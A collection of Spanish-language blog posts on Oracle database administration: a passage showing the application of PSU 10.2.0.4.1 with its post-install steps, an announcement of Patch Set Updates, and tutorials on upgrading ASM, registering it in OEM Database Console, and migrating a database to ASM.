Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrfw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prsc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prsg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prssz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzrt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kpolon.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxfx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktss.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qertqo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxfq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksws.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/libperfsrv10.a"  with "rdbms/lib/libperfsrv10.a/qcodfdef_PERF.o"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/cpu/view_recompile/recompile_precheck_jan2008cpu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/cpu/view_recompile/view_recompile_jan2008cpu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/psu/10.2.0.4.1/catpsu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/psu/10.2.0.4.1/catpsu_rollback.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/bundledata_PSU.xml"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/catbundle.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/jox.o"

Patching component oracle.javavm.server, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/lib/libjox10.so"

Patching component oracle.sysman.repository.core, 10.2.0.4.0a...
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/rsc/inst/RsrcMonitorMsg.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/rsc/inst/RsrcMonitorMsgID.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/rsrcmgr/RsrcmgrMonController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/MemoryController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/SessionDetailsController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/SitemapController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/emo/perf/bean/sesn/SessionDetails.class"

Patching component oracle.sysman.console.db, 10.2.0.4.0...
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_healthgif.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_healthgif$__jsp_StaticText.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_health.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_health$__jsp_StaticText.class"

Patching component oracle.ovm, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmctrg.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmadmb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmadms.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmasrtb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmltb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmutlb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmutls.plb"

Patching component oracle.network.rsf, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libn10.a"  with "lib/libn10.a/nacom.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglgr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglro.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsgcs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglsn.o"

Patching component oracle.network.listener, 10.2.0.4.0...
Running make for target iextjob
Running make for target iextjobo
Running make for target client_sharedlib
Running make for target idgmgrl
Running make for target ioracle
Running make for target client_sharedlib
Running make for target itnslsnr
ApplySession adding interim patch '8576156' to inventory

Verifying the update...
Inventory check OK: Patch ID 8576156 is registered in Oracle Home inventory with proper meta-data.
Files check OK: Files from Patch ID 8576156 are present in Oracle Home.

--------------------------------------------------------------------------------
********************************************************************************
********************************************************************************
**                                ATTENTION                                   **
**                                                                            **
** Please note that the Patch Set Update Installation (PSU Deinstallation)    **
** is not complete until all the Post Installation (Post Deinstallation)      **
** instructions noted in the Readme accompanying this PSU, have been          **
** successfully completed.                                                    **
**                                                                            **
********************************************************************************
********************************************************************************

--------------------------------------------------------------------------------

Execution of 'sh /home/oracle/8576156/custom/scripts/post -apply 8576156 ':


Return Code = 0

The local system has been patched and can be restarted.


OPatch succeeded.

Hasta ahora todo va bien, pero falta un paso final, necesario para que el Scheduler funcione adecuadamente.

[oracle@urania 8576156]$ su root
Password:
[root@urania 8576156]# sh psu_root.sh
[root@urania 8576156]# exit

Proceso concluído, pero no hemos terminado, falta hacer la post instalación. Empezamos por ejecutar catbundle.sql, no olvidar revisar los logs para verificar que no hubieron errores.

[oracle@urania 8576156]$ cd $ORACLE_HOME/rdbms/admin
[oracle@urania admin]$ sqlplus / as sysdba
SYS@test> startup
SYS@test> @catbundle.sql psu apply
. . .
. . .
. . .
SYS@test> ALTER SESSION SET current_schema = SYS;

Session altered.

SYS@test> PROMPT Updating registry...
Updating registry...
SYS@test> INSERT INTO registry$history
  2    (action_time, action,
  3     namespace, version, id,
  4     bundle_series, comments)
  5  VALUES
  6    (SYSTIMESTAMP, 'APPLY',
  7     SYS_CONTEXT('REGISTRY$CTX','NAMESPACE'),
  8     '10.2.0.4',
  9     1,
 10     'PSU',
 11     'PSU 10.2.0.4.1');

1 row created.

SYS@test> COMMIT;

Commit complete.

SYS@test> SPOOL off
SYS@test> SET echo off
Check the following log file for errors:
/u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/catbundle/catbundle_PSU_TEST_APPLY_2009Jul15_13_13_44.log

SYS@test> exit

El paso final es recompilar las vistas de la base de datos, ojo que puede tomar bastantes minutos. Primero verificamos cuántos objetos se compilarán y luego ejecutamos la compilación en sí.

[oracle@urania admin]$ cd $ORACLE_HOME/cpu/view_recompile
[oracle@urania view_recompile]$ sqlplus / as sysdba
SYS@test> @recompile_precheck_jan2008cpu.sql

Running precheck.sql...


Number of views to be recompiled :2081
-----------------------------------------------------------------------

Number of objects to be recompiled :4171
Please follow the README.txt instructions for running viewrecomp.sql

PL/SQL procedure successfully completed.

SYS@test> exit

[oracle@urania ~]$ cd $ORACLE_HOME/cpu/view_recompile
[oracle@urania view_recompile]$ sqlplus / as sysdba
SYS@test> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test> startup upgrade
ORACLE instance started.

Total System Global Area  247463936 bytes
Fixed Size                  1266848 bytes
Variable Size              96471904 bytes
Database Buffers          146800640 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.
SYS@test> @view_recompile_jan2008cpu.sql

PL/SQL procedure successfully completed.

PL/SQL procedure successfully completed.

PL/SQL procedure successfully completed.

1 row created.

Commit complete.

No. of Invalid Objects is :1595
Please refer to README.html to for instructions on validating these objects

PL/SQL procedure successfully completed.

Logfile for the current viewrecomp.sql session is : vcomp_TEST_15Jul2009_13_23_16.log
SYS@test> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test> startup
ORACLE instance started.

Total System Global Area  247463936 bytes
Fixed Size                  1266848 bytes
Variable Size             109054816 bytes
Database Buffers          134217728 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.
SYS@test> exit

Algunos objetos quedaron descompilados por lo que debemos ejecutar utlrp.sql para compilarlos.

[oracle@urania ~]$ cd $ORACLE_HOME/rdbms/admin
[oracle@urania admin]$ sqlplus / as sysdba
SYS@test> @utlrp.sql

TIMESTAMP
----------------------------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_BGN  2009-07-15 13:29:22

DOC>   The following PL/SQL block invokes UTL_RECOMP to recompile invalid
DOC>   objects in the database. Recompilation time is proportional to the
DOC>   number of invalid objects in the database, so this command may take
DOC>   a long time to execute on a database with a large number of invalid
DOC>   objects.
DOC>
DOC>   Use the following queries to track recompilation progress:
DOC>
DOC>   1. Query returning the number of invalid objects remaining. This
DOC>      number should decrease with time.
DOC>         SELECT COUNT(*) FROM obj$ WHERE status IN (4, 5, 6);
DOC>
DOC>   2. Query returning the number of objects compiled so far. This number
DOC>      should increase with time.
DOC>         SELECT COUNT(*) FROM UTL_RECOMP_COMPILED;
DOC>
DOC>   This script automatically chooses serial or parallel recompilation
DOC>   based on the number of CPUs available (parameter cpu_count) multiplied
DOC>   by the number of threads per CPU (parameter parallel_threads_per_cpu).
DOC>   On RAC, this number is added across all RAC nodes.
DOC>
DOC>   UTL_RECOMP uses DBMS_SCHEDULER to create jobs for parallel
DOC>   recompilation. Jobs are created without instance affinity so that they
DOC>   can migrate across RAC nodes. Use the following queries to verify
DOC>   whether UTL_RECOMP jobs are being created and run correctly:
DOC>
DOC>   1. Query showing jobs created by UTL_RECOMP
DOC>         SELECT job_name FROM dba_scheduler_jobs
DOC>            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC>
DOC>   2. Query showing UTL_RECOMP jobs that are running
DOC>         SELECT job_name FROM dba_scheduler_running_jobs
DOC>            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC>#

PL/SQL procedure successfully completed.


TIMESTAMP
----------------------------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_END  2009-07-15 13:31:06


PL/SQL procedure successfully completed.

DOC> The following query reports the number of objects that have compiled
DOC> with errors (objects that compile with errors have status set to 3 in
DOC> obj$). If the number is higher than expected, please examine the error
DOC> messages reported with each object (using SHOW ERRORS) to see if they
DOC> point to system misconfiguration or resource constraints that must be
DOC> fixed before attempting to recompile these objects.
DOC>#

OBJECTS WITH ERRORS
-------------------
                  0

DOC> The following query reports the number of errors caught during
DOC> recompilation. If this number is non-zero, please query the error
DOC> messages in the table UTL_RECOMP_ERRORS to see if any of these errors
DOC> are due to misconfiguration or resource constraints that must be
DOC> fixed before objects can compile successfully.
DOC>#

ERRORS DURING RECOMPILATION
---------------------------
                          0


PL/SQL procedure successfully completed.

De ser necesario habría que recompilar manualmente los objetos que hubiesen quedado descompilados. Con esto se ha concluído satisfactoriamente la instalación del primer PSU, contamos ahora con Oracle 10.2.0.4.1.

SYS@test> select version, comments from registry$history;

VERSION              COMMENTS
-------------------- --------------------
10.2.0.4             PSU 10.2.0.4.1

Si bien les he mostrado los pasos a seguir, esto no debe ser considerado un reemplazo del procedimiento formal indicado en el archivo Readme.html que acompaña a este PSU, hay procedimientos especiales para RAC por ejemplo, así que a ir leyendo la documentación y haciendo las pruebas del caso para que finalmente lo apliquen en sus ambientes de producción, suerte!

Post Relacionados:

Patch Set Updates

noreply@blogger.com (Enrique Orbegozo) — Tue, 07 Jul 2009 22:05:00 +0000

Oracle acaba de hacer público en My Oracle Support, mediante el Note 850471.1, que a partir de Julio y de forma trimestral, estará liberando un conjunto de patches recomendados a los que se conocerá como Patch Set Update o PSU. Los PSU son acumulativos y su aplicación origina un cambio en la versión a nivel del quinto número, es decir, el primer PSU para Oracle 10.2.0.4 originará que tengamos una instalación con versión 10.2.0.4.1, el siguiente PSU será 10.2.0.4.2 y así en adelante.

Se anuncia que el primer PSU estará disponible para 10.2.0.4 exclusivamente, en las principales plataformas con excepción de Windows, donde seguirán distribuyéndose los conocidos Bundle Patches (Note 161549.1 Oracle Database Server and Networking Patches for Microsoft Platforms). Oracle indica que los PSU contendrán los Critical Patch Updates o CPU, pero que éstos seguirán estando disponibles de forma que se podrá elegir entre instalar el PSU o simplemente el CPU; lo que no queda claro es si los PSU serán un reemplazo de los Recommended Patches (Note 756671.1 Oracle Recommended Patches – Oracle database) que ya desde hace algún tiempo nos permiten obtener los patches recomendados para Oracle 10.2.0.3 en adelante.

Más allá del enredo en los nuevos términos y sus abreviaturas, la introducción de los PSU prometen simplificar la labor de patching pues ataca los bugs que han sido identificados como críticos, que han impactado a un gran número de clientes, cuyos fixes ya han sido probados en los clientes y que no involucran cambios severos en la funcionalidad de Oracle ni cambios de configuración, y si se tiene RAC no es necesario suspender todo el servicio pues se puede aplicar en cada nodo por separado, mientras los demás siguen operando, habilidad conocida como Rolling Patching, ¿qué más podemos pedir? Así que a estar atentos, el primer PSU estará disponible este 14 de Julio de 2009 y los siguientes el martes más cercano al 15 de Enero, Abril, Julio y Octubre.

Post Relacionados:

Primer PSU ya está disponible, instalémoslo!

Actualizando ASM y registrándolo en OEM

noreply@blogger.com (Enrique Orbegozo) — Thu, 09 Apr 2009 21:07:00 +0000

Con este Post ponemos fin a la serie dedicada a ASM, recapitulando: hemos visto cómo instalar el software y cómo crear una instancia ASM, para luego proceder a migrar la base de datos de forma manual y usando OEM Database Console, pues bien ahora veremos el procedimiento a seguir para realizar un upgrade a ASM y cómo hacer para registrar esta instancia para que sea administrable desde OEM Database Console.

I. Upgrade de ASM

Partiremos del supuesto que tenemos ASM 10.2.0.1 con ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_1 y que queremos actualizar a ASM 11.1.0.7, con ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2.

1. Debemos detener la instancia ASM pero esto no es posible sin que primero hagamos lo mismo con las bases de datos que la están usando.

[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? orcl
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 00:13:11 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@orcl> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.

[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? +ASM
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 00:15:13 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@+ASM> shutdown immediate
ASM diskgroups dismounted
ASM instance shutdown.

2. Antes de actualizar ASM se requiere que Oracle Cluster Synchronization Services (CCS) esté configurado para ejecutarse desde el nuevo Oracle Home, para ello debemos ejecutar lo siguiente con el usuario root:

[root@urania]# cd /u01/app/oracle/product/11.1.0/db_2/bin
[root@urania bin]# ./localconfig reset
Successfully accumulated necessary OCR keys.
Creating OCR keys for user 'root', privgrp 'root'..
Operation successful.
Configuration for local CSS has been initialized
Stale CSS daemon is running... killing it now
Cleaning up Network socket directories
Setting up Network socket directories
Adding to inittab
Startup will be queued to init within 30 seconds.
Checking the status of new Oracle init process...
Expecting the CRS daemons to be up within 600 seconds.
Cluster Synchronization Services is active on these nodes.
        urania
Cluster Synchronization Services is active on all the nodes.
Oracle CSS service is installed and running under init(1M)

3. Es altamente recomendable que el listener en uso sea el que corresponde al home de ASM, por lo que podemos copiar los archivos de configuración (listener.ora, sqlnet.ora) desde el home inicial hacia el nuevo home e iniciar desde allí el listener.

[oracle@urania ~]$ export ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2
[oracle@urania ~]$ $ORACLE_HOME/bin/lsnrctl start

LSNRCTL for Linux: Version 11.1.0.7.0 - Production on 04-FEB-2009 00:52:53

Copyright (c) 1991, 2008, Oracle.  All rights reserved.

Starting /u01/app/oracle/product/11.1.0/db_2/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 11.1.0.7.0 - Production
System parameter file is /u01/app/oracle/product/11.1.0/db_2/network/admin/listener.ora
Log messages written to /u01/app/oracle/diag/tnslsnr/urania/listener/alert/log.xml
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=urania.localdomain)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=urania.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 11.1.0.7.0 - Production
Start Date                04-FEB-2009 00:52:54
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /u01/app/oracle/product/11.1.0/db_2/network/admin/listener.ora
Listener Log File         /u01/app/oracle/diag/tnslsnr/urania/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=urania.localdomain)(PORT=1521)))
Services Summary...
Service "orcl.localdomain" has 1 instance(s).
  Instance "orcl", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully

4. El upgrade lo realizaremos con el utilitario DBUA, pero debemos tener cuidado de invocar el que corresponde a la nueva versión de ASM, que para nuestro ejemplo es la 11.1.0.7.

[oracle@urania ~]$ $ORACLE_HOME/bin/dbua

5. Se nos ofrece una bienvenida, la cual aceptamos y se nos presenta la alternativa de: actualizar una base de datos, o actualizar ASM, escogemos actualizar ASM.

6. Aparece un resumen de la actualización que se estará realizando, misma que aceptamos al presionar [Finish].

7. El proceso de upgrade se inicia y luego de unos instantes se nos notifica de su conclusión.

8. Finalmente se nos presenta un resumen de lo actuado, con referencia a los logs generados, para su eventual inspección.

9. Con ASM ya actualizado podemos proceder a iniciar la instancia ASM y las bases de datos asociadas.

[[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? +ASM
The Oracle base for ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2 is /u01/app/oracle
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 4 01:35:31 2009

Copyright (c) 1982, 2008, Oracle.  All rights reserved.

Connected to an idle instance.

SYS@+ASM> startup
ASM instance started

Total System Global Area  284565504 bytes
Fixed Size                  1312896 bytes
Variable Size             258086784 bytes
ASM Cache                  25165824 bytes
ASM diskgroups mounted

[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? orcl
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 01:37:13 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@orcl> startup;
ORACLE instance started.

Total System Global Area  318046208 bytes
Fixed Size                  1313120 bytes
Variable Size             180356768 bytes
Database Buffers          130023424 bytes
Redo Buffers                6352896 bytes
Database mounted.
Database opened.

¡Tarea concluída! Tenemos la base de datos 10gR2 operando sobre una nueva instancia ASM 11gR1, pero aún nos falta algo más: administrar la instancia ASM desde OEM Database Console.

II. Registrando ASM en OEM Database Console

Esta es la típica presentación de Database Console, misma que nos permite administrar la base de datos.

Para incluir la instancia ASM debemos reconfigurar OEM siguiendo estos pasos:

1. Desconfiguramos OEM para que ya no tenga registrada a la base de datos.

[oracle@urania ~]$ emca -deconfig dbcontrol db

STARTED EMCA at Feb 4, 2009 9:19:19 AM
EM Configuration Assistant, Version 11.1.0.7.0 Production
Copyright (c) 2003, 2005, Oracle.  All rights reserved.

Enter the following information:
Database SID: orcl

Do you wish to continue? [yes(Y)/no(N)]: Y
Feb 4, 2009 9:19:28 AM oracle.sysman.emcp.EMConfig perform
INFO: This operation is being logged at /u01/app/oracle/cfgtoollogs/emca/orcl/emca_2009_02_04_09_19_19.log.
Feb 4, 2009 9:19:30 AM oracle.sysman.emcp.util.DBControlUtil stopOMS
INFO: Stopping Database Control (this may take a while) ...
Enterprise Manager configuration completed successfully
FINISHED EMCA at Feb 4, 2009 9:20:34 AM

2. Configuramos nuevamente OEM y notaremos que en adición a los datos relativos a la instancia de la base de datos, ahora también nos solicitará información sobre la instancia ASM

[oracle@urania ~]$ emca -config dbcontrol db

STARTED EMCA at Feb 4, 2009 9:24:59 AM
EM Configuration Assistant, Version 11.1.0.7.0 Production
Copyright (c) 2003, 2005, Oracle.  All rights reserved.

Enter the following information:
Database SID: orcl
Listener port number: 1521
Password for SYS user:
Password for DBSNMP user:
Password for SYSMAN user:
Password for SYSMAN user: 
Email address for notifications (optional):
Outgoing Mail (SMTP) server for notifications (optional):
ASM ORACLE_HOME [ /u01/app/oracle/product/11.1.0/db_2 ]:
ASM SID [ +ASM ]:
ASM port [ 1521 ]:
ASM user role [ SYSDBA ]:
ASM username [ SYS ]:
ASM user password:
-----------------------------------------------------------------

You have specified the following settings

Database ORACLE_HOME ................ /u01/app/oracle/product/11.1.0/db_2

Local hostname ................ urania.localdomain
Listener port number ................ 1521
Database SID ................ orcl
Email address for notifications ...............
Outgoing Mail (SMTP) server for notifications ...............
ASM ORACLE_HOME ................ /u01/app/oracle/product/11.1.0/db_2
ASM SID ................ +ASM
ASM port ................ 1521
ASM user role ................ SYSDBA
ASM username ................ SYS

-----------------------------------------------------------------
Do you wish to continue? [yes(Y)/no(N)]: Y
Feb 4, 2009 9:26:04 AM oracle.sysman.emcp.EMConfig perform
INFO: This operation is being logged at /u01/app/oracle/cfgtoollogs/emca/orcl/emca_2009_02_04_09_24_59.log.
Feb 4, 2009 9:26:13 AM oracle.sysman.emcp.EMReposConfig uploadConfigDataToRepository
INFO: Uploading configuration data to EM repository (this may take a while) ...
Feb 4, 2009 9:30:14 AM oracle.sysman.emcp.EMReposConfig invoke
INFO: Uploaded configuration data successfully
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.util.DBControlUtil configureSoftwareLib
INFO: Software library is already configured.
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.util.DBControlUtil configureSoftwareLib
INFO:  EM_SWLIB_STAGE_LOC (value) will be ignored.
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.EMDBPostConfig configureSoftwareLibrary
INFO: Deploying Provisioning archives ...
Feb 4, 2009 9:30:37 AM oracle.sysman.emcp.EMDBPostConfig configureSoftwareLibrary
INFO: Provisioning archives deployed successfully.
Feb 4, 2009 9:30:37 AM oracle.sysman.emcp.util.DBControlUtil secureDBConsole
INFO: Securing Database Control (this may take a while) ...
Feb 4, 2009 9:30:55 AM oracle.sysman.emcp.util.DBControlUtil secureDBConsole
INFO: Database Control secured successfully.
Feb 4, 2009 9:30:55 AM oracle.sysman.emcp.util.DBControlUtil startOMS
INFO: Starting Database Control (this may take a while) ...
Feb 4, 2009 9:32:19 AM oracle.sysman.emcp.EMDBPostConfig performConfiguration
INFO: Database Control started successfully
Feb 4, 2009 9:32:20 AM oracle.sysman.emcp.EMDBPostConfig performConfiguration
INFO: >>>>>>>>>>> The Database Control URL is https://urania.localdomain:5500/em <<<<<<<<<<<
Feb 4, 2009 9:32:32 AM oracle.sysman.emcp.EMDBPostConfig invoke
WARNING:
************************  WARNING  ************************

Management Repository has been placed in secure mode wherein Enterprise Manager
data will be encrypted.  The encryption key has been placed in the file:
/u01/app/oracle/product/11.1.0/db_2/urania.localdomain_orcl/sysman/config/emkey.ora.
Please ensure this file is backed up as the encrypted data will become unusable
if this file is lost.

***********************************************************
Enterprise Manager configuration completed successfully
FINISHED EMCA at Feb 4, 2009 9:32:32 AM

Concluído esto ahora notaremos que finalmente se incluye el link a la instancia ASM.

Puerta de acceso a gran cantidad de información y opciones que nos permitirán administrar la instancia ASM con la misma simplicidad que OEM nos proporciona para la base de datos.

En este punto, y luego de tratar el tema durante varios Posts consecutivos, tenemos una base de datos que reside en ASM al igual que su Flash Recovery Area, siendo ambas instancias plenamente administrables desde OEM Database Console. Llegamos pues al final de esta serie que espero les haya sido de utilidad, o eventualmente lo sea, en cuanto den el paso de adoptar ASM (lo cual ocurrirá tarde o temprano).

Post Relacionados:

Migrando la base de datos a ASM, la forma fácil

noreply@blogger.com (Enrique Orbegozo) — Sat, 28 Mar 2009 17:29:00 +0000

Hola amigos, antes de abordar el tema principal de este Post, quería compartir con Uds. un acontecimiento muy especial: hace unos pocos días recibí una comunicación de Lillian Buziak (Oracle), indicándome que luego de una evaluación habían decidido otorgarme el Oracle ACE Award, con lo que vengo a ser el segundo peruano (junto a Plinio Arbizu, Oracle Ace Director) y sexto latinoamericano en recibir este reconocimiento que Oracle otorga en mérito a la participación activa en la comunidad Oracle. Si bien es un premio que me llena de alegría, también representa el compromiso de seguir colaborando en la difusión de conocimientos.

Teniendo en cuenta que hay 207 Oracle ACE, si Uds. conocen de alguien que merezca este reconocimiento, pueden nominarlo llenando un formato, en nuestras manos está incrementar y premiar la participación de los profesionales de habla hispana!

Ahora sí, continuando con la serie dedicada a ASM, recordaremos que en el Post anterior se realizó el traslado manual de la base de datos hacia ASM, ahora veremos cómo lograr el mismo propósito empleando Oracle Enterprise Manager Database Console, tarea que resulta sumamente sencilla gracias a que seremos guiado por un wizard muy bien elaborado y completo, que contempla todos los aspectos de la migración sin dejar nada de lado. Sin mayores preámbulos veamos el procedimiento a seguir:

1. En la pestaña Server encontraremos la opción Migrate to ASM.

2. Procedemos a completar la información requerida para identificar plenamente a la instancia ASM en la cual residirá la base de datos.

3. Para lograr el mismo objetivo que conseguimos con el procedimiento manual, seleccionamos como archivos a migrar tanto los archivos de la base de datos como los backups y archive logs, prestando especial atención a seleccionar una migracion online, a fin de minimizar la suspensión del servicio.

4. Es hora de seleccionar los Disk Groups en los cuales residirán tanto la base de datos (DAT), como el Flash Recovery Area (FRA), en este último caso seleccionamos la migración de todos los contenidos.

5. Y esto fue todo, ahora solo nos queda indicar cuándo queremos que se realice la migración, si de inmediato o en una fecha futura.

6. Antes de registrar esta tarea en el Scheduler, le damos una revisada a lo que se estará ejecutando y cuando estemos seguros presionamos el botón <Submit Job>

7. Con la tarea ya en ejecución podemos ir revisando su avance, esto hasta que eventualmente se llegue a la parte en la cual se hace el switch, momento en el que la base de datos será detenida y por tanto se nos solicitará nuevamente las credenciales para restablecer la conexión con Oracle Enterprise Manager Database Console.

8. La migración ha concluido satisfactoriamente, tal como podemos comprobar al inspeccionar que tanto los objetos de la base de datos como los contenidos del flash recovery area residen ahora en la instancia ASM, cada cual en sus respectivos Disk Groups.

¡Tarea concluída! Coincidirán en que usar OEM Database Console para migrar la base de datos y el flash recovery area representa un esfuerzo mucho menor que su contraparte manual, pero no está de más saber cómo hacerlo de ambas formas. En el siguiente Post (el último de esta serie), les mostraré como registrar la instancia ASM para que sea administrable desde OEM Database Console, así como el procedimiento a seguir para realizar un upgrade a ASM, estén atentos...

Post Relacionados:

Trasladando la Base de Datos hacia ASM

noreply@blogger.com (Enrique Orbegozo) — Sat, 07 Mar 2009 21:35:00 +0000

Cómo vuela el tiempo, ha pasado ya un mes desde mi último Post, mil disculpas, salí de vacaciones con toda la familia y aun cuando acostumbro tomarme unos días para reponerme de ellas, pues cuando son en familia es dificil descansar, a mi regreso tenía trabajo acumulado así que empecé una Consultoría en el día y el dictado del curso Performance Tuning 10g por las noches, manteniéndome bastante ocupado las últimas semanas. Hoy tengo algo de tiempo por lo que sin más demoras retomaré la serie que iniciara en el Post previo, recordarán que en él les mostré como instalar y configurar el software necesario, así como la creación de la instancia ASM; ahora continuaré con el traslado manual de la base de datos hacia ASM, incluyendo: spfile, control files, datafiles, online redo logs, archive logs, backups, tracking file y flashback logs, veamos entonces la secuencia de pasos a seguir.

Migración de la Base de Datos hacia ASM

1. Obtenemos un backup de los datafiles directamente hacia ASM, como copias y sobre el disk group +DAT.

RMAN> backup as copy incremental level 0 database
2> format '+DAT' tag 'migracion_asm';

Starting backup at 04/02/2009 04:10:11
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
